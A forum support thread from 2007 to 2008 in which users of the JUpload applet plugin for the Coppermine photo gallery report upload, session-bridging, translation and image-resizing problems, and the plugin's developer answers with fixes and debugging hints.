Check 1, Ok. You don't have old files in this direcrory.
Check 2 : Just copy the HTML content from your navigator, with right click on the page. You can check yourself wichi value is in the width and height parameter of the last APPLET tag (named JUpload, not emptyApplet)

Etienne

The source is too long to post.  attached to message.  Thanks for helping me with this..
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: skidpics on December 26, 2007, 11:14:23 pm
Check 1, Ok. You don't have old files in this direcrory.
Check 2 : Just copy the HTML content from your navigator, with right click on the page. You can check yourself wichi value is in the width and height parameter of the last APPLET tag (named JUpload, not emptyApplet)

Etienne

here it is listed in the source:

Quote
<APPLET CODE="wjhk.jupload2.JUploadApplet" ARCHIVE="plugins/jupload/wjhk.jupload.jar" WIDTH="400" HEIGHT="300" NAME="JUpload"

MAYSCRIPT=true>
   <PARAM NAME = "albumId" VALUE="

Maybe I just need to make it smaller?  I am running 1024x768 screen size.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on December 27, 2007, 09:13:00 am
NO dont make it smaller tell people where it is to change is all. Most people run your same resolution and only going to get higher as months go on. I run 1900x1200.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: irishblue on December 28, 2007, 04:25:52 pm
hi there, I've been getting this error. upload via the old form works, only the applet doesn't. any idea what could be causing it?

I'm using jupload 2.6.4, firefox, java 1.6.0.

Quote
Critical error
There was an error while processing a database query

my debug info is attached in the text file. (too long to paste here)
Title: Problem with auto resize of image
Post by: socalboy on December 31, 2007, 03:27:35 am
Hi Etienne,

Thank you for a great program. I am having an issue where some of the files that the uploader compresses for me the photo turns out to look like a 4 color graphic. I can include a file or a link if you need to see it, but I am guessing that you may already be familiar with something like this? If I try and delete the file and reupload, the same file will always seem to compress with a wierd color scheme. It does not happen to all photos, but I am always using the same 2 cameras and it happens to both the Nikon D70 and and Olympus. Thanks for any light you can shed on this.

Steven
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Phill Luckhurst on December 31, 2007, 10:17:31 pm
Take a look at page 12 of this thread. I had a similar problem with all photos taken in portrait mode so ettiene added a transmit metadata parameter to fis it. Go to the plugins config page and try switching that on
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: socalboy on January 01, 2008, 06:36:43 pm
Take a look at page 12 of this thread. I had a similar problem with all photos taken in portrait mode so ettiene added a transmit metadata parameter to fis it. Go to the plugins config page and try switching that on

Thank you, this helped, but now when I change this value, nothing happens. I cannot find a config.inc.php file in the user directory. How do I create this since new installs do not have this file? I assumed that when I made a change in the settings the file would be created, but it was not. I just need a default config.inc.php file then I think the changes will work. Thanks for any help on this topic.

Steven
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: louisbb on January 01, 2008, 11:40:09 pm
My language is "Chinese_big5" "Chinese traditional" 
but "The JUpload translation for this language doesn't exist."

I hope JUpload use the "English translation" but not change "Coppermine language"

How can I do that?





Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 02, 2008, 02:01:49 pm
The source is too long to post.  attached to message.  Thanks for helping me with this..

The applet tag contains :
WIDTH="400" HEIGHT="300"

  These are not default values, which means you changed the applet size. Try putting smaller values, at least to test if configuration parameters works properly, in your case.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 02, 2008, 02:04:54 pm
hi there, I've been getting this error. upload via the old form works, only the applet doesn't. any idea what could be causing it?

I'm using jupload 2.6.4, firefox, java 1.6.0.

my debug info is attached in the text file. (too long to paste here)


In the attached log, there is no query errror, but 'You don't have permission to perform this operation'. Perhaps:
1) You create the log after the end of your session.
2) You are in bridge mode. Seems like session are not correctly managed in bridge mode.

Etienne
Title: Re: Problem with auto resize of image
Post by: etienne_sf on January 02, 2008, 02:06:22 pm
Hi Etienne,

Thank you for a great program. I am having an issue where some of the files that the uploader compresses for me the photo turns out to look like a 4 color graphic. I can include a file or a link if you need to see it, but I am guessing that you may already be familiar with something like this? If I try and delete the file and reupload, the same file will always seem to compress with a wierd color scheme. It does not happen to all photos, but I am always using the same 2 cameras and it happens to both the Nikon D70 and and Olympus. Thanks for any light you can shed on this.

Steven

Yes, I'm interested in an original picture, and your compression parameters. The easiest way to give me these parameters is to sent a debug output. Everything is written there.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on January 02, 2008, 02:10:07 pm
In the attached log, there is no query errror, but 'You don't have permission to perform this operation'. Perhaps:
1) You create the log after the end of your session.
2) You are in bridge mode. Seems like session are not correctly managed in bridge mode.

Etienne

Any ideas on a solution for the bridge session issue?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 02, 2008, 02:14:14 pm
Any ideas on a solution for the bridge session issue?

No idea because no study !

  I work on JUpload in the train, going to work.


And I'm in Holidays!
 :)

So I just provide support, and I'll work again on JUpload once I'll work again, which is ... tomorrow !

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 02, 2008, 02:14:36 pm
My language is "Chinese_big5" "Chinese traditional" 
but "The JUpload translation for this language doesn't exist."

I hope JUpload use the "English translation" but not change "Coppermine language"

How can I do that?


I have no Chinese translation for the PHP part.

Please take a look at this page, to add this translation:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_translation

  Please note that about three text will be added soon.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: louisbb on January 02, 2008, 02:51:41 pm
Please take a look at this page, to add this translation:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_translation

I already try the chinese translation from "http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_translation"
But it still now work.

and, the Chinese translation have some problem.

I try use the "Chinese_GB" "Chinese_big5" & "UTF8" to read that
But, all unreadable characters.

Look like this

[Edit GauGau] Replaced hotlinked screenshot with attachment [/Edit]





Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 03, 2008, 01:33:33 pm
I already try the chinese translation from "http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_translation"
But it still now work.

Still NOT work, I guess ?

and, the Chinese translation have some problem.

I try use the "Chinese_GB" "Chinese_big5" & "UTF8" to read that
But, all unreadable characters.

Let me be clear: I have NO TRANSLATION for the PHP part of JUpload. Hese is what appears with Chinese characters:
1) Some part of text which are taken from internal Coppermine texts.
2) The applet is translated in Chinese.

Like stated before, please take a look at this page, to add this translation:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_translation

You'll see that the second part of the page is in English. Please ignore the first part, as I have problems with Chinese characters.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: skidpics on January 04, 2008, 05:09:23 pm
The applet tag contains :
WIDTH="400" HEIGHT="300"

  These are not default values, which means you changed the applet size. Try putting smaller values, at least to test if configuration parameters works properly, in your case.

Etienne

I am getting an understanding now.  The applet width is the one displayed inside CP.  I am having a problem with the size of the applet when you click on 'Browse' to add the pics and the external applet loads..  what controls the size of it?

Is there a way to get the applet to stay inline with CP, rather than loading an external browser? 
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 04, 2008, 06:00:49 pm
I am getting an understanding now.  The applet width is the one displayed inside CP.  I am having a problem with the size of the applet when you click on 'Browse' to add the pics and the external applet loads..  what controls the size of it?

Is there a way to get the applet to stay inline with CP, rather than loading an external browser? 

What is CP ?
What do you mean 'stay inline with CP' and 'external browser' ?

  There is no external browser, but a dialog box that looks more or less like the windows file explorer, and allows to select files. If you talk about it, then, too bad. It's controled by Java, and I don't want to code it myself...
  It seems possible to control its size. But I don't think it's really useful.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: skidpics on January 04, 2008, 06:18:10 pm
What is CP ?
What do you mean 'stay inline with CP' and 'external browser' ?

My apologies, I meant Coppermine.. 

Issue resolved, I have been trying to resolve the issue with the size of the dialog box apparently, rather than the plugin itself. 
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: thetoaster on January 05, 2008, 12:40:18 am
I know, that batch-adding for non-admin users isn't possible, but would it be possible to use JUpload
for public albums/categories? (I allowed public uploading for the corresponding user group with no effect to JUpload.)

AFAIK there shouldn't be any security issues (as with batch-add)?!

Edit: may it be, that JUpload doesn't respect the setting to let new pictures approve by an admin?
new pictures are in gallery right after adding them, although set to true.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: irishblue on January 05, 2008, 05:11:36 pm
In the attached log, there is no query errror, but 'You don't have permission to perform this operation'. Perhaps:
1) You create the log after the end of your session.
2) You are in bridge mode. Seems like session are not correctly managed in bridge mode.

Etienne

ah yes, I'm on a vbulletin bridge...
hopefully i'll be able to use this great plugin in future then.
thanks Etienne.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 05, 2008, 11:01:45 pm
I know, that batch-adding for non-admin users isn't possible, but would it be possible to use JUpload
for public albums/categories? (I allowed public uploading for the corresponding user group with no effect to JUpload.)

AFAIK there shouldn't be any security issues (as with batch-add)?!

This should work properly with current version: a user should be able to 'batch' upload with JUpload within any album he may upload to.

Edit: may it be, that JUpload doesn't respect the setting to let new pictures approve by an admin?
new pictures are in gallery right after adding them, although set to true.

From your message, I understand this:
- The fact that the user group may upload to public albums is correctly managed.
- The fact that pictures need approval is not managed.

Correct ?

If so, I'm really surprised, because I just use existing code. And I think I tested. But, test and test and test ... is never enough
 ::)

I'll check that.
Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: -TMG- on January 06, 2008, 01:38:36 am
Im planning to start a community to a german race series and therefore jupload would be a perfect plugin but i still get errors after hitting the upload button

Code: [Select]
01:28:26.890 [INFO] Debug level set to 0
01:28:26.890 [INFO] Current debug output file: C:\DOKUME~1\ADMINI~1\LOKALE~1\Temp\jupload_29381_log.txt
01:28:26.906 [WARN] Invalid int value: true, using default value: 0
01:28:27.250 [WARN] Invalid int value: , using default value: 0
01:28:27.250 [INFO] JUpload plugin for coppermine version 2.6.4
01:28:51.562 [INFO] Debug level set to 1
01:28:51.562 [INFO] Current debug output file: C:\DOKUME~1\ADMINI~1\LOKALE~1\Temp\jupload_29381_log.txt
01:28:53.609 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
01:28:53.609 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
01:28:53.609 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:600)
01:28:53.609 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:731)
01:28:53.609 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:486)
01:28:55.000 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)

I get this error while beeing logged in as a admin and as a normal user...

My Config is:

Coppermine Photo Gallery 1.4.14 (stable) bridged with phpbb3 over [BETA] Bridge Coppermine <-> phpBB3, v0.9.0
JUpload plugin Plugin v2.6.4
german language


is this the same problem as mentioned somewhere before cause of the session handling with bridged coppermine? because for me as a noob its sounds that theres "only" a missing language string?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on January 06, 2008, 02:50:28 pm
Im planning to start a community to a german race series and therefore jupload would be a perfect plugin but i still get errors after hitting the upload button

Code: [Select]
01:28:26.890 [INFO] Debug level set to 0
01:28:26.890 [INFO] Current debug output file: C:\DOKUME~1\ADMINI~1\LOKALE~1\Temp\jupload_29381_log.txt
01:28:26.906 [WARN] Invalid int value: true, using default value: 0
01:28:27.250 [WARN] Invalid int value: , using default value: 0
01:28:27.250 [INFO] JUpload plugin for coppermine version 2.6.4
01:28:51.562 [INFO] Debug level set to 1
01:28:51.562 [INFO] Current debug output file: C:\DOKUME~1\ADMINI~1\LOKALE~1\Temp\jupload_29381_log.txt
01:28:53.609 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
01:28:53.609 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
01:28:53.609 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:600)
01:28:53.609 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:731)
01:28:53.609 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:486)
01:28:55.000 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)

I get this error while beeing logged in as a admin and as a normal user...

My Config is:

Coppermine Photo Gallery 1.4.14 (stable) bridged with phpbb3 over [BETA] Bridge Coppermine <-> phpBB3, v0.9.0
JUpload plugin Plugin v2.6.4
german language


is this the same problem as mentioned somewhere before cause of the session handling with bridged coppermine? because for me as a noob its sounds that theres "only" a missing language string?

Sorry but you have same error as I do and many others with bridges. The session is being interupted or not transfered something weird. Try uploading in Opera browser it works but IE and Fx no go. WEIRD I know opera handles cookies sessions very lightly. Well I hope there is a solution soon for this it is a much needed mod for me. I have thousands of photos being uploaded a day. My old JUpload system cant auto resize among the biggest issue and biggest reason to move to this one. It only supports JUpload old version.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 08, 2008, 10:36:24 am
Im planning to start a community to a german race series and therefore jupload would be a perfect plugin but i still get errors after hitting the upload button

I get this error while beeing logged in as a admin and as a normal user...

My Config is:

Coppermine Photo Gallery 1.4.14 (stable) bridged with phpbb3 over [BETA] Bridge Coppermine <-> phpBB3, v0.9.0
JUpload plugin Plugin v2.6.4
german language


is this the same problem as mentioned somewhere before cause of the session handling with bridged coppermine? because for me as a noob its sounds that theres "only" a missing language string?

Hi,

  I started fighting against this one. I hope (and think) I'll correct this one quickly. Lot's of users seems to use the bridge mode...


Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on January 08, 2008, 12:10:38 pm
If you need help testing let me know!!

I am in dire need for this mod and will help in any way I can. Will even when working with bridge give you the data I was explaining before with usergroup specific selectable able to use JUpload and give it to you to look over and release. I know it works been using it for 6 years.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 08, 2008, 01:21:47 pm
If you need help testing let me know!!

I am in dire need for this mod and will help in any way I can. Will even when working with bridge give you the data I was explaining before with usergroup specific selectable able to use JUpload and give it to you to look over and release. I know it works been using it for 6 years.

FYI:

  Bridge mode seems to work perfectly well with smf. I've installed phpBB, and will test with it. If you find the reason why session is lost, I'd be really interested.

Some hints:
1) The applet generate it's own HTTP request to the server, for upload. So it may lack some information, that the server will check.
Example:Coppermine (native, no bridge) cheks the userAgent HTTP header. I had to add it to the applet, so that it can keep the Coppermine native session for upload.
2) The full HTTP request sent by the applet can be read within the debug outpu of the applet.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on January 09, 2008, 10:01:50 am
I use the Vbulletin bridge. I presume it has something to do with that. I am releasing a Donations MOD for Vbulletin tomorrow so after I release this will look at your code again.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: thetoaster on January 09, 2008, 12:48:48 pm
From your message, I understand this:
- The fact that the user group may upload to public albums is correctly managed.
- The fact that pictures need approval is not managed.

Correct ?

Yes, I just tried it again, and it's as you outlined it.
I set up a Group which may upload to public albums, registered users may do this also!
my test-user is in my group (crossed in checkbox) and also testuser (selected in drop-down).
by uploading with old-way an approval message is sent to admin
with JUpload there isn't a such...

thanks for any further help
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 09, 2008, 01:11:07 pm
I use the Vbulletin bridge. I presume it has something to do with that. I am releasing a Donations MOD for Vbulletin tomorrow so after I release this will look at your code again.

I've tested the bridge mode, without problems with several forums, on my PC.

Can you test it on your configuration ?

To do this, I've just put a new version (Release Candidate) on my web site, so that we test the same code:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 09, 2008, 01:14:09 pm
Yes, I just tried it again, and it's as you outlined it.
I set up a Group which may upload to public albums, registered users may do this also!
my test-user is in my group (crossed in checkbox) and also testuser (selected in drop-down).
by uploading with old-way an approval message is sent to admin
with JUpload there isn't a such...

Ok, this seems to be a bug.

I'll look to correct it for the next version.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: PerformanceImagery on January 10, 2008, 08:56:53 am
It looks like I'm also having the "You don't have permission to perform this operation. If you're not connected, please login first" issue with my Coppermine bridged to Joomla via Mehdi's bridge (http://www.mehdiplugins.com/misc/).  There is no debug error output with 2.6.4 besides the above message.  I also tried using 3.0.0rc1 you posted on your site and get the same problem.  This was all with IE 6 with SP2.  I'll test it with FF and IE7 when I get home from work and report back what I find.

Thanks for continuing to work on this plugin.  Coppermine is in serious need of a good, easy to use batch add function!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 10, 2008, 11:40:30 am
It looks like I'm also having the "You don't have permission to perform this operation. If you're not connected, please login first" issue with my Coppermine bridged to Joomla via Mehdi's bridge (http://www.mehdiplugins.com/misc/).  There is no debug error output with 2.6.4 besides the above message.  I also tried using 3.0.0rc1 you posted on your site and get the same problem.  This was all with IE 6 with SP2.  I'll test it with FF and IE7 when I get home from work and report back what I find.

Thanks for continuing to work on this plugin.  Coppermine is in serious need of a good, easy to use batch add function!

Ok, thanks for the info.

  I've downloaded joomla, and the bridge plugin. I'll check this point.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on January 11, 2008, 12:16:56 pm
I've tested the bridge mode, without problems with several forums, on my PC.

Can you test it on your configuration ?

To do this, I've just put a new version (Release Candidate) on my web site, so that we test the same code:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb

Etienne

Testing this second sorry for delay was releasing mod on Vbulletin. Will edit this post after test.

Got same error and issue. I was on php 4.4.4 and mysql 4 before and upgraded today to php 5.2.4 and mysql 5.0.25

Apache/1.3.33 (Unix) PHP/5.2.4 FrontPage/5.0.2.2510 mod_ssl/2.8.22 OpenSSL/0.9.7a

No difference but was checking just in case. I know it works without the bridge on. I am going to look over a few things. Let me know if you come up with anything.

Fx and IE don't work, Opera still works but random.

I have to ask you plugin does not touch or have anything to do with the regular upload system correct? I know it works without the bridge so sorry with these questions has to be with that. Please test using Vbulletin integration. I can give you the program for testing (it is a purchase program and costs money) But in this case it is cool but you can not keep it has my ID linked to it.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on January 11, 2008, 12:58:00 pm
FYI:

  Bridge mode seems to work perfectly well with smf. I've installed phpBB, and will test with it. If you find the reason why session is lost, I'd be really interested.

Some hints:
1) The applet generate it's own HTTP request to the server, for upload. So it may lack some information, that the server will check.
Example:Coppermine (native, no bridge) cheks the userAgent HTTP header. I had to add it to the applet, so that it can keep the Coppermine native session for upload.
2) The full HTTP request sent by the applet can be read within the debug outpu of the applet.

Etienne

It works perfect on SMF because it is NOT overriding the sessions! Vbulletin takes over sessions. In SMF the session is duplicated into coppermine. So it never breaks from coppermine for your mod. I will look at phpbb file right now it is like vbulletin it overrides the sessions. Now I can give you my code that makes this Jupload mod work with vbulletin but I don't know how you can integrate it to yours. I have to pass 2 variables in the html header post back to coppermine. #1 is userid, #2 is password. I will post the code on how I did it back in 2004 and maybe it will help on getting this to work on ALL bridges.

Ok I got your mod to work and it will make it work for all bridges. I need you to contact me so I can explain it to you and give you code. It is the same code I used back in 2004 to make JUpload work.

REPEAT HIT ME UP AIM phone anything best if I talk to you and explain and the encryption method etc.

It is only one file edit upload_page and chuck of code to decrypt for people with a bridge. I am not familiar with coppermine plugin system but I am sure you can just add the decrypt within plugin so they don't have to do it manually to there bridge file.

Now just tested works for all browsers etc.

This is same method I have used for 4 years without any issues or hiccups so I am sure you will be fine as well. You can use a stricter encryption method using php 5+ but not sure if this mod has a minimum of that so will stick with the php 4+ way. This can also be used for not only bridge versions but non bridge as well. But up to you how you use it. Also I still have the other bit of code to give you regarding a selectable field for who can use JUpload. Will explain it when we talk.

SKYPE
AWJunkies

AIM
AWJunkies
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: jesusarmy on January 11, 2008, 02:44:26 pm
Oh dear. Working fine till today. Now I am getting: "You don't have permission to perform this operation. If you're not connected, please login first" issue with my Coppermine bridged to phpBB and Stramm's Modpack (as before). Only possible changes are (a) Microsoft 'Update' to XP happened overnight (b) logging in and out of CPG with different account names confused the bridge (which I know it does). I guess I have to give it time for my session to expire and try again. Not very satisfactory though, I fear. :-(

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on January 11, 2008, 02:48:19 pm
Are you using phpbb 2.0 file and are you using phpbb sessions? or cpg default?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 11, 2008, 05:07:55 pm
It works perfect on SMF because it is NOT overriding the sessions! Vbulletin takes over sessions. In SMF the session is duplicated into coppermine. So it never breaks from coppermine for your mod. I will look at phpbb file right now it is like vbulletin it overrides the sessions. Now I can give you my code that makes this Jupload mod work with vbulletin but I don't know how you can integrate it to yours. I have to pass 2 variables in the html header post back to coppermine. #1 is userid, #2 is password. I will post the code on how I did it back in 2004 and maybe it will help on getting this to work on ALL bridges.

 Strange enough. I use nothing (I think) special. Only standard code. It may be due to my own control, within a correct session.
  I'm updating controls. I'll release an alpha 2 version, for further tests.

Ok I got your mod to work and it will make it work for all bridges. I need you to contact me so I can explain it to you and give you code. It is the same code I used back in 2004 to make JUpload work.

REPEAT HIT ME UP AIM phone anything best if I talk to you and explain and the encryption method etc.

It is only one file edit upload_page and chuck of code to decrypt for people with a bridge. I am not familiar with coppermine plugin system but I am sure you can just add the decrypt within plugin so they don't have to do it manually to there bridge file.

Now just tested works for all browsers etc.

This is same method I have used for 4 years without any issues or hiccups so I am sure you will be fine as well. You can use a stricter encryption method using php 5+ but not sure if this mod has a minimum of that so will stick with the php 4+ way. This can also be used for not only bridge versions but non bridge as well. But up to you how you use it. Also I still have the other bit of code to give you regarding a selectable field for who can use JUpload. Will explain it when we talk.

SKYPE
AWJunkies

AIM
AWJunkies

  I have no skype, and only an old AIM. I'm using GoogleTalk on my current project.

For a first test, can you send me a sample of your hack, so that I try to embed it ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on January 11, 2008, 05:11:58 pm
I don't have google talk so um how do I send? I don't want to post it as attachment and people trying to play with it. I can't send to your Email because there is something wrong with it I am getting a bounce back message. I sent you a PM and will send rest of code in sec waiting on server.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: jesusarmy on January 11, 2008, 07:37:29 pm
Are you using phpbb 2.0 file and are you using phpbb sessions? or cpg default?

I'm using phpBB version 2.0.22. The sessions control is straight from Stramm's box. For both CPG and phpBB I can log in and out and change user seamlessly (except I can't with XP Publish), and I could with JUpload until today.

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 12, 2008, 12:24:10 pm
I'm using phpBB version 2.0.22. The sessions control is straight from Stramm's box. For both CPG and phpBB I can log in and out and change user seamlessly (except I can't with XP Publish), and I could with JUpload until today.

Ok !

  I just repeated the problem.

Now I can solve it !

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: jesusarmy on January 12, 2008, 01:08:09 pm
Ok !

  I just repeated the problem.

Now I can solve it !

Etienne

[applaud]What a positive attitude![/applaud]
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 12, 2008, 06:01:52 pm
[applaud]What a positive attitude![/applaud]

hum, hum, hum,

  Sorry for false applaud ...
My problem was due to an install problem.

Everything still works perfectly clean for me, with several forum. Also tested with Stramm's bridge (Coppermine 1.4.14 and last modpack). About ten combinations on my Firefox 2.0.0.9 (2.0.0.11 is downloading).

  If anyone give me admin account for both a forum an Coppermine, where bridge is broken within jupload, I'll find and correct the bug.
  I also need ability to upload the JUpload plugin (sometimes, the FTP account is needed to upload Coppermine plugins).

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on January 14, 2008, 06:12:39 am
I am getting messed up photos being uploaded.

http://www.allwheeljunkies.com/awphotos/thumbnails.php?album=848&page=1

Go to that link to see what I am talking about. At random it greens out the photo. All this images are same size and from same day and dimensions. They all needed resizing through JUpload to meet the 1600x dimension max.

php 5.2.4 and latest GD processing that goes with that php release.

I had it on image magic so changed to GD2 and all seems fine will let you know if it happens again.

It still does it but less on GD then image magic. Happens with GD when uploading over 100 images about 3+ get the green HULK effect.

http://www.allwheeljunkies.com/awphotos/thumbnails.php?album=852&page=1

Here is link to the new one with GD
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 14, 2008, 01:12:15 pm
I am getting messed up photos being uploaded.

http://www.allwheeljunkies.com/awphotos/thumbnails.php?album=848&page=1

Go to that link to see what I am talking about. At random it greens out the photo. All this images are same size and from same day and dimensions. They all needed resizing through JUpload to meet the 1600x dimension max.

php 5.2.4 and latest GD processing that goes with that php release.

I had it on image magic so changed to GD2 and all seems fine will let you know if it happens again.

It still does it but less on GD then image magic. Happens with GD when uploading over 100 images about 3+ get the green HULK effect.

http://www.allwheeljunkies.com/awphotos/thumbnails.php?album=852&page=1

Here is link to the new one with GD

Hi,

  This is a known problem. Here is the release note about this, not really clear, I have to say...

- [Minor] Add of the pictureTransmitMetadata parameter. A way to avoid problems, when transmitting pictures shooted
from a Canon EOS 30D, in portrait mode (!!!).


Putting pictureTransmitMetadata  to false should correct the problem.
I'll add this to the FAQ.

Etienne

Title: Error on Upload - string "^SUCCESS$" was not found
Post by: smay on January 14, 2008, 05:24:26 pm
Thanks in advance for any help you can give!


I have installed RC1 of your Plugin and everytime I try to upload even a single small file I receive the follow pop up after the file appears to upload. I have tried on multiply systems using both XP and Server 2003.  I also tried your test site and received the same error.

wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the reponse body

The only choice is to click OK

Here is a copy of the log:
01:51:04.613 [INFO] Debug level set to 0
01:51:04.613 [INFO] Current debug output file: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\jupload_11204_log.txt
01:51:04.623 [WARN] Invalid int value: true, using default value: 0
01:51:05.093 [WARN] Invalid int value: , using default value: 0
01:51:05.093 [INFO] JUpload plugin for coppermine version 3.0.0rc2
01:54:14.285 [INFO] Debug level set to 1
01:54:14.285 [INFO] Current debug output file: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\jupload_11204_log.txt
01:54:34.494 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
01:54:34.494 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
01:54:34.494    at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:612)
01:54:34.494    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
01:54:34.494    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:487)
01:54:36.758 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)


Thank You
Sandy
Title: Re: Error on Upload - string "^SUCCESS$" was not found
Post by: etienne_sf on January 14, 2008, 09:46:18 pm
Thanks in advance for any help you can give!


I have installed RC1 of your Plugin and everytime I try to upload even a single small file I receive the follow pop up after the file appears to upload. I have tried on multiply systems using both XP and Server 2003.  I also tried your test site and received the same error.

wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the reponse body

The only choice is to click OK

Here is a copy of the log:
01:51:04.613 [INFO] Debug level set to 0
01:51:04.613 [INFO] Current debug output file: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\jupload_11204_log.txt
01:51:04.623 [WARN] Invalid int value: true, using default value: 0
01:51:05.093 [WARN] Invalid int value: , using default value: 0
01:51:05.093 [INFO] JUpload plugin for coppermine version 3.0.0rc2
01:54:14.285 [INFO] Debug level set to 1
01:54:14.285 [INFO] Current debug output file: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\jupload_11204_log.txt
01:54:34.494 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
01:54:34.494 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
01:54:34.494    at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:612)
01:54:34.494    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
